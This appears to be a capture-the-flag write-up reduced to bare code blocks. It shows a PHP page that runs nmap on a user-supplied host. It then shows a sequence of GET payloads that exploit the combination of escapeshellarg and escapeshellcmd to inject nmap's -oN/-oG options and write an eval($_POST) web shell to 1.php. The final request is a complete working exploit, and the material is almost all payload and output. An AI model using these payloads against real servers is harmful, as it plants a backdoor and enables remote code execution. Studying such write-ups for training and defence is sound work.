1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

1
2
nmap '<?php eval($_POST[a]);?>' -oN 1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
show_source(__FILE__);
$cmd = $_GET["cmd"];
echo '</br>';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '</br>';
echo $cmd;
$cmd = escapeshellcmd($cmd);
echo '</br>';
echo $cmd;
echo '</br>';
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;

1
2
3
4
5
6
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php
'' -oN 1.php
''''''' -oN 1.php'
''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?>'\'' -oN 1.php'

1
2
nmap  <?php eval($_POST[a]); ?>'\'' -oN 1.php'

1
2
3
4
5
6
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php'
' -oN 1.php'
'''' -oN 1.php''''
''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php eval($_POST[a]);?> -oN 1.php'\'''

1
2
nmap  <?php eval($_POST[a]);?> -oN 1.php'\'

1
2
3
4
5
6
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php '
' -oN 1.php '
'''' -oN 1.php ''''
''\''<?php eval($_POST[a]);?> -oN 1.php '\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''<?php eval($_POST[a]);?> -oN 1.php '\'''

1
2
nmap  <?php eval($_POST[a]);?> -oN 1.php '\'

1
2
[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '